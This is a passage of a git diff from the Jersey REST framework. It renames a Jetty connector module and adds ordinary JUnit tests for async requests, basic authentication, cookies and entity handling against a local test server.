  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -14,7 +14,8 @@
  * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
  */
 
-package org.glassfish.jersey.internal.jsr166;
-
-public interface JerseyFlowSubscriber<T> extends Flow.Subscriber<T> {
-}
+/**
+ * Jersey client {@link org.glassfish.jersey.client.spi.Connector connector} based on the
+ * Jetty Client.
+ */
+package org.glassfish.jersey.jetty.connector;
diff --git a/connectors/jetty-http2-connector/src/main/resources/org.glassfish.jersey.jetty.http2.connector/localization.properties b/connectors/jetty11-connector/src/main/resources/org/glassfish/jersey/jetty/connector/localization.properties
similarity index 100%
rename from connectors/jetty-http2-connector/src/main/resources/org.glassfish.jersey.jetty.http2.connector/localization.properties
rename to connectors/jetty11-connector/src/main/resources/org/glassfish/jersey/jetty/connector/localization.properties
diff --git a/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/AsyncTest.java b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/AsyncTest.java
new file mode 100644
index 0000000..8755aaf
--- /dev/null
+++ b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/AsyncTest.java
@@ -0,0 +1,201 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.connector;
+
+import java.util.concurrent.Future;
+import java.util.concurrent.TimeUnit;
+import java.util.logging.Logger;
+
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.POST;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.client.Entity;
+import jakarta.ws.rs.container.AsyncResponse;
+import jakarta.ws.rs.container.Suspended;
+import jakarta.ws.rs.container.TimeoutHandler;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.Response;
+
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.logging.LoggingFeature;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.test.JerseyTest;
+
+import org.hamcrest.Matchers;
+import org.junit.jupiter.api.Test;
+import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.hamcrest.MatcherAssert.assertThat;
+
+/**
+ * Asynchronous connector test.
+ *
+ * @author Arul Dhesiaseelan (aruld at acm.org)
+ * @author Marek Potociar
+ */
+public class AsyncTest extends JerseyTest {
+    private static final Logger LOGGER = Logger.getLogger(AsyncTest.class.getName());
+    private static final String PATH = "async";
+
+    /**
+     * Asynchronous test resource.
+     */
+    @Path(PATH)
+    public static class AsyncResource {
+        /**
+         * Typical long-running operation duration.
+         */
+        public static final long OPERATION_DURATION = 1000;
+
+        /**
+         * Long-running asynchronous post.
+         *
+         * @param asyncResponse async response.
+         * @param id            post request id (received as request payload).
+         */
+        @POST
+        public void asyncPost(@Suspended final AsyncResponse asyncResponse, final String id) {
+            LOGGER.info("Long running post operation called with id " + id + " on thread " + Thread.currentThread().getName());
+            new Thread(new Runnable() {
+
+                @Override
+                public void run() {
+                    String result = veryExpensiveOperation();
+                    asyncResponse.resume(result);
+                }
+
+                private String veryExpensiveOperation() {
+                    // ... very expensive operation that typically finishes within 1 seconds, simulated using sleep()
+                    try {
+                        Thread.sleep(OPERATION_DURATION);
+                        return "DONE-" + id;
+                    } catch (InterruptedException e) {
+                        Thread.currentThread().interrupt();
+                        return "INTERRUPTED-" + id;
+                    } finally {
+                        LOGGER.info("Long running post operation finished on thread " + Thread.currentThread().getName());
+                    }
+                }
+            }, "async-post-runner-" + id).start();
+        }
+
+        /**
+         * Long-running async get request that times out.
+         *
+         * @param asyncResponse async response.
+         */
+        @GET
+        @Path("timeout")
+        public void asyncGetWithTimeout(@Suspended final AsyncResponse asyncResponse) {
+            LOGGER.info("Async long-running get with timeout called on thread " + Thread.currentThread().getName());
+            asyncResponse.setTimeoutHandler(new TimeoutHandler() {
+
+                @Override
+                public void handleTimeout(AsyncResponse asyncResponse) {
+                    asyncResponse.resume(Response.status(Response.Status.SERVICE_UNAVAILABLE)
+                            .entity("Operation time out.").build());
+                }
+            });
+            asyncResponse.setTimeout(1, TimeUnit.SECONDS);
+            asyncResponse.resume(Response.status(Response.Status.SERVICE_UNAVAILABLE)
+                    .entity("Operation time out.").build());
+
+            new Thread(new Runnable() {
+
+                @Override
+                public void run() {
+                    String result = veryExpensiveOperation();
+                    asyncResponse.resume(result);
+                }
+
+                private String veryExpensiveOperation() {
+                    // very expensive operation that typically finishes within 1 second but can take up to 5 seconds,
+                    // simulated using sleep()
+                    try {
+                        Thread.sleep(5 * OPERATION_DURATION);
+                        return "DONE";
+                    } catch (InterruptedException e) {
+                        Thread.currentThread().interrupt();
+                        return "INTERRUPTED";
+                    } finally {
+                        LOGGER.info("Async long-running get with timeout finished on thread " + Thread.currentThread().getName());
+                    }
+                }
+            }).start();
+        }
+
+    }
+
+    @Override
+    protected Application configure() {
+        return new ResourceConfig(AsyncResource.class)
+                .register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
+    }
+
+    @Override
+    protected void configureClient(ClientConfig config) {
+        // TODO: fails with true on request - should be fixed by resolving JERSEY-2273
+        config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.HEADERS_ONLY));
+        config.connectorProvider(new JettyConnectorProvider());
+    }
+
+    /**
+     * Test asynchronous POST.
+     *
+     * Send 3 async POST requests and wait to receive the responses. Check the response content and
+     * assert that the operation did not take more than twice as long as a single long operation duration
+     * (this ensures async request execution).
+     *
+     * @throws Exception in case of a test error.
+     */
+    @Test
+    public void testAsyncPost() throws Exception {
+        final long tic = System.currentTimeMillis();
+
+        // Submit requests asynchronously.
+        final Future<Response> rf1 = target(PATH).request().async().post(Entity.text("1"));
+        final Future<Response> rf2 = target(PATH).request().async().post(Entity.text("2"));
+        final Future<Response> rf3 = target(PATH).request().async().post(Entity.text("3"));
+        // get() waits for the response
+        final String r1 = rf1.get().readEntity(String.class);
+        final String r2 = rf2.get().readEntity(String.class);
+        final String r3 = rf3.get().readEntity(String.class);
+
+        final long toc = System.currentTimeMillis();
+
+        assertEquals("DONE-1", r1);
+        assertEquals("DONE-2", r2);
+        assertEquals("DONE-3", r3);
+
+        assertThat("Async processing took too long.", toc - tic, Matchers.lessThan(3 * AsyncResource.OPERATION_DURATION));
+    }
+
+    /**
+     * Test accessing an operation that times out on the server.
+     *
+     * @throws Exception in case of a test error.
+     */
+    @Test
+    public void testAsyncGetWithTimeout() throws Exception {
+        final Future<Response> responseFuture = target(PATH).path("timeout").request().async().get();
+        // Request is being processed asynchronously.
+        final Response response = responseFuture.get();
+
+        // get() waits for the response
+        assertEquals(503, response.getStatus());
+        assertEquals("Operation time out.", response.readEntity(String.class));
+    }
+}
diff --git a/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/AuthFilterTest.java b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/AuthFilterTest.java
new file mode 100644
index 0000000..be077c9
--- /dev/null
+++ b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/AuthFilterTest.java
@@ -0,0 +1,77 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.connector;
+
+import java.util.logging.Logger;
+
+import jakarta.ws.rs.client.Entity;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.Response;
+
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.client.authentication.HttpAuthenticationFeature;
+import org.glassfish.jersey.logging.LoggingFeature;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.test.JerseyTest;
+
+import org.junit.jupiter.api.Test;
+import static org.junit.jupiter.api.Assertions.assertEquals;
+
+/**
+ * @author Paul Sandoz
+ * @author Arul Dhesiaseelan (aruld at acm.org)
+ */
+public class AuthFilterTest extends JerseyTest {
+
+    private static final Logger LOGGER = Logger.getLogger(AuthFilterTest.class.getName());
+
+    @Override
+    protected Application configure() {
+        ResourceConfig config = new ResourceConfig(AuthTest.AuthResource.class);
+        config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
+        return config;
+    }
+
+
+    @Override
+    protected void configureClient(ClientConfig config) {
+        config.connectorProvider(new JettyConnectorProvider());
+    }
+
+    @Test
+    public void testAuthGetWithClientFilter() {
+        client().register(HttpAuthenticationFeature.basic("name", "password"));
+        Response response = target("test/filter").request().get();
+        assertEquals("GET", response.readEntity(String.class));
+    }
+
+    @Test
+    public void testAuthPostWithClientFilter() {
+        client().register(HttpAuthenticationFeature.basic("name", "password"));
+        Response response = target("test/filter").request().post(Entity.text("POST"));
+        assertEquals("POST", response.readEntity(String.class));
+    }
+
+
+    @Test
+    public void testAuthDeleteWithClientFilter() {
+        client().register(HttpAuthenticationFeature.basic("name", "password"));
+        Response response = target("test/filter").request().delete();
+        assertEquals(204, response.getStatus());
+    }
+
+}
diff --git a/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/AuthTest.java b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/AuthTest.java
new file mode 100644
index 0000000..27ca10a
--- /dev/null
+++ b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/AuthTest.java
@@ -0,0 +1,197 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.connector;
+
+import java.util.logging.Logger;
+
+import jakarta.ws.rs.DELETE;
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.POST;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.WebApplicationException;
+import jakarta.ws.rs.client.Client;
+import jakarta.ws.rs.client.ClientBuilder;
+import jakarta.ws.rs.client.Entity;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.Context;
+import jakarta.ws.rs.core.HttpHeaders;
+import jakarta.ws.rs.core.Response;
+
+import jakarta.inject.Singleton;
+
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.logging.LoggingFeature;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.test.JerseyTest;
+
+import org.eclipse.jetty.client.util.BasicAuthentication;
+import org.junit.jupiter.api.Test;
+import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.junit.jupiter.api.Assertions.assertTrue;
+
+/**
+ * @author Paul Sandoz
+ * @author Arul Dhesiaseelan (aruld at acm.org)
+ */
+public class AuthTest extends JerseyTest {
+
+    private static final Logger LOGGER = Logger.getLogger(AuthTest.class.getName());
+    private static final String PATH = "test";
+
+    @Path("/test")
+    @Singleton
+    public static class AuthResource {
+
+        int requestCount = 0;
+
+        @GET
+        public String get(@Context HttpHeaders h) {
+            requestCount++;
+            String value = h.getRequestHeaders().getFirst("Authorization");
+            if (value == null) {
+                assertEquals(1, requestCount);
+                throw new WebApplicationException(
+                        Response.status(401).header("WWW-Authenticate", "Basic realm=\"WallyWorld\"").build());
+            } else {
+                assertTrue(requestCount > 1);
+            }
+
+            return "GET";
+        }
+
+        @GET
+        @Path("filter")
+        public String getFilter(@Context HttpHeaders h) {
+            String value = h.getRequestHeaders().getFirst("Authorization");
+            if (value == null) {
+                throw new WebApplicationException(
+                        Response.status(401).header("WWW-Authenticate", "Basic realm=\"WallyWorld\"").build());
+            }
+
+            return "GET";
+        }
+
+        @POST
+        public String post(@Context HttpHeaders h, String e) {
+            requestCount++;
+            String value = h.getRequestHeaders().getFirst("Authorization");
+            if (value == null) {
+                assertEquals(1, requestCount);
+                throw new WebApplicationException(
+                        Response.status(401).header("WWW-Authenticate", "Basic realm=\"WallyWorld\"").build());
+            } else {
+                assertTrue(requestCount > 1);
+            }
+
+            return e;
+        }
+
+        @POST
+        @Path("filter")
+        public String postFilter(@Context HttpHeaders h, String e) {
+            String value = h.getRequestHeaders().getFirst("Authorization");
+            if (value == null) {
+                throw new WebApplicationException(
+                        Response.status(401).header("WWW-Authenticate", "Basic realm=\"WallyWorld\"").build());
+            }
+
+            return e;
+        }
+
+        @DELETE
+        public void delete(@Context HttpHeaders h) {
+            requestCount++;
+            String value = h.getRequestHeaders().getFirst("Authorization");
+            if (value == null) {
+                assertEquals(1, requestCount);
+                throw new WebApplicationException(
+                        Response.status(401).header("WWW-Authenticate", "Basic realm=\"WallyWorld\"").build());
+            } else {
+                assertTrue(requestCount > 1);
+            }
+        }
+
+        @DELETE
+        @Path("filter")
+        public void deleteFilter(@Context HttpHeaders h) {
+            String value = h.getRequestHeaders().getFirst("Authorization");
+            if (value == null) {
+                throw new WebApplicationException(
+                        Response.status(401).header("WWW-Authenticate", "Basic realm=\"WallyWorld\"").build());
+            }
+        }
+
+        @DELETE
+        @Path("filter/withEntity")
+        public String deleteFilterWithEntity(@Context HttpHeaders h, String e) {
+            String value = h.getRequestHeaders().getFirst("Authorization");
+            if (value == null) {
+                throw new WebApplicationException(
+                        Response.status(401).header("WWW-Authenticate", "Basic realm=\"WallyWorld\"").build());
+            }
+
+            return e;
+        }
+    }
+
+    @Override
+    protected Application configure() {
+        ResourceConfig config = new ResourceConfig(AuthResource.class);
+        config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
+        return config;
+    }
+
+    @Test
+    public void testAuthGet() {
+        ClientConfig config = new ClientConfig();
+        config.property(JettyClientProperties.PREEMPTIVE_BASIC_AUTHENTICATION,
+                new BasicAuthentication(getBaseUri(), "WallyWorld", "name", "password"));
+        config.connectorProvider(new JettyConnectorProvider());
+        Client client = ClientBuilder.newClient(config);
+
+        Response response = client.target(getBaseUri()).path(PATH).request().get();
+        assertEquals("GET", response.readEntity(String.class));
+        client.close();
+    }
+
+    @Test
+    public void testAuthPost() {
+        ClientConfig config = new ClientConfig();
+        config.property(JettyClientProperties.PREEMPTIVE_BASIC_AUTHENTICATION,
+                new BasicAuthentication(getBaseUri(), "WallyWorld", "name", "password"));
+        config.connectorProvider(new JettyConnectorProvider());
+        Client client = ClientBuilder.newClient(config);
+
+        Response response = client.target(getBaseUri()).path(PATH).request().post(Entity.text("POST"));
+        assertEquals("POST", response.readEntity(String.class));
+        client.close();
+    }
+
+    @Test
+    public void testAuthDelete() {
+        ClientConfig config = new ClientConfig();
+        config.property(JettyClientProperties.PREEMPTIVE_BASIC_AUTHENTICATION,
+                new BasicAuthentication(getBaseUri(), "WallyWorld", "name", "password"));
+        config.connectorProvider(new JettyConnectorProvider());
+        Client client = ClientBuilder.newClient(config);
+
+        Response response = client.target(getBaseUri()).path(PATH).request().delete();
+        assertEquals(response.getStatus(), 204);
+        client.close();
+    }
+
+}
diff --git a/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/CookieTest.java b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/CookieTest.java
new file mode 100644
index 0000000..7534d3d
--- /dev/null
+++ b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/CookieTest.java
@@ -0,0 +1,121 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.connector;
+
+import java.util.logging.Logger;
+
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.client.Client;
+import jakarta.ws.rs.client.ClientBuilder;
+import jakarta.ws.rs.client.WebTarget;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.Context;
+import jakarta.ws.rs.core.Cookie;
+import jakarta.ws.rs.core.HttpHeaders;
+import jakarta.ws.rs.core.NewCookie;
+import jakarta.ws.rs.core.Response;
+
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.client.JerseyClient;
+import org.glassfish.jersey.client.JerseyClientBuilder;
+import org.glassfish.jersey.logging.LoggingFeature;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.test.JerseyTest;
+
+import org.junit.jupiter.api.Test;
+import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.junit.jupiter.api.Assertions.assertNotNull;
+import static org.junit.jupiter.api.Assertions.assertNull;
+import static org.junit.jupiter.api.Assertions.assertTrue;
+
+/**
+ * @author Paul Sandoz
+ * @author Arul Dhesiaseelan (aruld at acm.org)
+ */
+public class CookieTest extends JerseyTest {
+
+    private static final Logger LOGGER = Logger.getLogger(CookieTest.class.getName());
+
+    @Path("/")
+    public static class CookieResource {
+        @GET
+        public Response get(@Context HttpHeaders h) {
+            Cookie c = h.getCookies().get("name");
+            String e = (c == null) ? "NO-COOKIE" : c.getValue();
+            return Response.ok(e)
+                    .cookie(new NewCookie("name", "value")).build();
+        }
+    }
+
+    @Override
+    protected Application configure() {
+        ResourceConfig config = new ResourceConfig(CookieResource.class);
+        config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
+        return config;
+    }
+
+    @Test
+    public void testCookieResource() {
+        ClientConfig config = new ClientConfig();
+        config.connectorProvider(new JettyConnectorProvider());
+        Client client = ClientBuilder.newClient(config);
+        WebTarget r = client.target(getBaseUri());
+
+
+        assertEquals("NO-COOKIE", r.request().get(String.class));
+        assertEquals("value", r.request().get(String.class));
+        client.close();
+    }
+
+    @Test
+    public void testDisabledCookies() {
+        ClientConfig cc = new ClientConfig();
+        cc.property(JettyClientProperties.DISABLE_COOKIES, true);
+        cc.connectorProvider(new JettyConnectorProvider());
+        JerseyClient client = JerseyClientBuilder.createClient(cc);
+        WebTarget r = client.target(getBaseUri());
+
+        assertEquals("NO-COOKIE", r.request().get(String.class));
+        assertEquals("NO-COOKIE", r.request().get(String.class));
+
+        final JettyConnector connector = (JettyConnector) client.getConfiguration().getConnector();
+        if (connector.getCookieStore() != null) {
+            assertTrue(connector.getCookieStore().getCookies().isEmpty());
+        } else {
+            assertNull(connector.getCookieStore());
+        }
+        client.close();
+    }
+
+    @Test
+    public void testCookies() {
+        ClientConfig cc = new ClientConfig();
+        cc.connectorProvider(new JettyConnectorProvider());
+        JerseyClient client = JerseyClientBuilder.createClient(cc);
+        WebTarget r = client.target(getBaseUri());
+
+        assertEquals("NO-COOKIE", r.request().get(String.class));
+        assertEquals("value", r.request().get(String.class));
+
+        final JettyConnector connector = (JettyConnector) client.getConfiguration().getConnector();
+        assertNotNull(connector.getCookieStore().getCookies());
+        assertEquals(1, connector.getCookieStore().getCookies().size());
+        assertEquals("value", connector.getCookieStore().getCookies().get(0).getValue());
+        client.close();
+    }
+}
diff --git a/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/CustomLoggingFilter.java b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/CustomLoggingFilter.java
new file mode 100644
index 0000000..48f51a1
--- /dev/null
+++ b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/CustomLoggingFilter.java
@@ -0,0 +1,70 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.connector;
+
+import java.io.IOException;
+
+import jakarta.ws.rs.client.ClientRequestContext;
+import jakarta.ws.rs.client.ClientRequestFilter;
+import jakarta.ws.rs.client.ClientResponseContext;
+import jakarta.ws.rs.client.ClientResponseFilter;
+import jakarta.ws.rs.container.ContainerRequestContext;
+import jakarta.ws.rs.container.ContainerRequestFilter;
+import jakarta.ws.rs.container.ContainerResponseContext;
+import jakarta.ws.rs.container.ContainerResponseFilter;
+
+import static org.junit.jupiter.api.Assertions.assertEquals;
+
+/**
+ * Custom logging filter.
+ *
+ * @author Santiago Pericas-Geertsen (santiago.pericasgeertsen at oracle.com)
+ */
+public class CustomLoggingFilter implements ContainerRequestFilter, ContainerResponseFilter,
+        ClientRequestFilter, ClientResponseFilter {
+
+    static int preFilterCalled = 0;
+    static int postFilterCalled = 0;
+
+    @Override
+    public void filter(ClientRequestContext context) throws IOException {
+        System.out.println("CustomLoggingFilter.preFilter called");
+        assertEquals("bar", context.getConfiguration().getProperty("foo"));
+        preFilterCalled++;
+    }
+
+    @Override
+    public void filter(ClientRequestContext context, ClientResponseContext clientResponseContext) throws IOException {
+        System.out.println("CustomLoggingFilter.postFilter called");
+        assertEquals("bar", context.getConfiguration().getProperty("foo"));
+        postFilterCalled++;
+    }
+
+    @Override
+    public void filter(ContainerRequestContext context) throws IOException {
+        System.out.println("CustomLoggingFilter.preFilter called");
+        assertEquals("bar", context.getProperty("foo"));
+        preFilterCalled++;
+    }
+
+    @Override
+    public void filter(ContainerRequestContext context, ContainerResponseContext containerResponseContext) throws IOException {
+        System.out.println("CustomLoggingFilter.postFilter called");
+        assertEquals("bar", context.getProperty("foo"));
+        postFilterCalled++;
+    }
+}
diff --git a/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/EntityTest.java b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/EntityTest.java
new file mode 100644
index 0000000..22f50d3
--- /dev/null
+++ b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/EntityTest.java
@@ -0,0 +1,158 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.connector;
+
+import java.util.concurrent.ExecutionException;
+import java.util.concurrent.TimeoutException;
+import java.util.logging.Logger;
+
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.POST;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.client.Entity;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.MediaType;
+import jakarta.ws.rs.core.Response;
+
+import jakarta.xml.bind.annotation.XmlRootElement;
+
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.logging.LoggingFeature;
+// import org.glassfish.jersey.jackson.JacksonFeature;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.test.JerseyTest;
+
+import org.junit.jupiter.api.Test;
+import static org.junit.jupiter.api.Assertions.assertEquals;
+
+/**
+ * Tests the Http content negotiation.
+ *
+ * @author Arul Dhesiaseelan (aruld at acm.org)
+ */
+public class EntityTest extends JerseyTest {
+
+    private static final Logger LOGGER = Logger.getLogger(EntityTest.class.getName());
+
+    private static final String PATH = "test";
+
+    @Path("/test")
+    public static class EntityResource {
+
+        @GET
+        public Person get() {
+            return new Person("John", "Doe");
+        }
+
+        @POST
+        public Person post(Person entity) {
+            return entity;
+        }
+
+    }
+
+    @XmlRootElement
+    public static class Person {
+
+        private String firstName;
+        private String lastName;
+
+        public Person() {
+        }
+
+        public Person(String firstName, String lastName) {
+            this.firstName = firstName;
+            this.lastName = lastName;
+        }
+
+        public String getFirstName() {
+            return firstName;
+        }
+
+        public void setFirstName(String firstName) {
+            this.firstName = firstName;
+        }
+
+        public String getLastName() {
+            return lastName;
+        }
+
+        public void setLastName(String lastName) {
+            this.lastName = lastName;
+        }
+
+        @Override
+        public String toString() {
+            return firstName + " " + lastName;
+        }
+    }
+
+    @Override
+    protected Application configure() {
+        ResourceConfig config = new ResourceConfig(EntityResource.class/*, JacksonFeature.class*/);
+        config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
+        return config;
+    }
+
+    @Override
+    protected void configureClient(ClientConfig config) {
+        config.connectorProvider(new JettyConnectorProvider());
+                //.register(/*JacksonFeature.class*/);
+    }
+
+    @Test
+    public void testGet() {
+        Response response = target(PATH).request(MediaType.APPLICATION_XML_TYPE).get();
+        Person person = response.readEntity(Person.class);
+        assertEquals("John Doe", person.toString());
+        response = target(PATH).request(MediaType.APPLICATION_JSON_TYPE).get();
+        person = response.readEntity(Person.class);
+        assertEquals("John Doe", person.toString());
+    }
+
+    @Test
+    public void testGetAsync() throws ExecutionException, InterruptedException {
+        Response response = target(PATH).request(MediaType.APPLICATION_XML_TYPE).async().get().get();
+        Person person = response.readEntity(Person.class);
+        assertEquals("John Doe", person.toString());
+        response = target(PATH).request(MediaType.APPLICATION_JSON_TYPE).async().get().get();
+        person = response.readEntity(Person.class);
+        assertEquals("John Doe", person.toString());
+    }
+
+    @Test
+    public void testPost() {
+        Response response = target(PATH).request(MediaType.APPLICATION_XML_TYPE).post(Entity.xml(new Person("John", "Doe")));
+        Person person = response.readEntity(Person.class);
+        assertEquals("John Doe", person.toString());
+        response = target(PATH).request(MediaType.APPLICATION_JSON_TYPE).post(Entity.xml(new Person("John", "Doe")));
+        person = response.readEntity(Person.class);
+        assertEquals("John Doe", person.toString());
+    }
+
+    @Test
+    public void testPostAsync() throws ExecutionException, InterruptedException, TimeoutException {
+        Response response = target(PATH).request(MediaType.APPLICATION_XML_TYPE).async()
+                .post(Entity.xml(new Person("John", "Doe"))).get();
+        Person person = response.readEntity(Person.class);
+        assertEquals("John Doe", person.toString());
+        response = target(PATH).request(MediaType.APPLICATION_JSON_TYPE).async().post(Entity.xml(new Person("John", "Doe")))
+                .get();
+        person = response.readEntity(Person.class);
+        assertEquals("John Doe", person.toString());
+    }
+}
diff --git a/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/ErrorTest.java b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/ErrorTest.java
new file mode 100644
index 0000000..a85cbc5
--- /dev/null
+++ b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/ErrorTest.java
@@ -0,0 +1,124 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.connector;
+
+import java.util.logging.Logger;
+
+import jakarta.ws.rs.ClientErrorException;
+import jakarta.ws.rs.POST;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.client.Entity;
+import jakarta.ws.rs.client.WebTarget;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.Response;
+
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.logging.LoggingFeature;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.test.JerseyTest;
+
+import org.junit.jupiter.api.Test;
+import static org.junit.jupiter.api.Assertions.assertEquals;
+
+/**
+ * @author Paul Sandoz
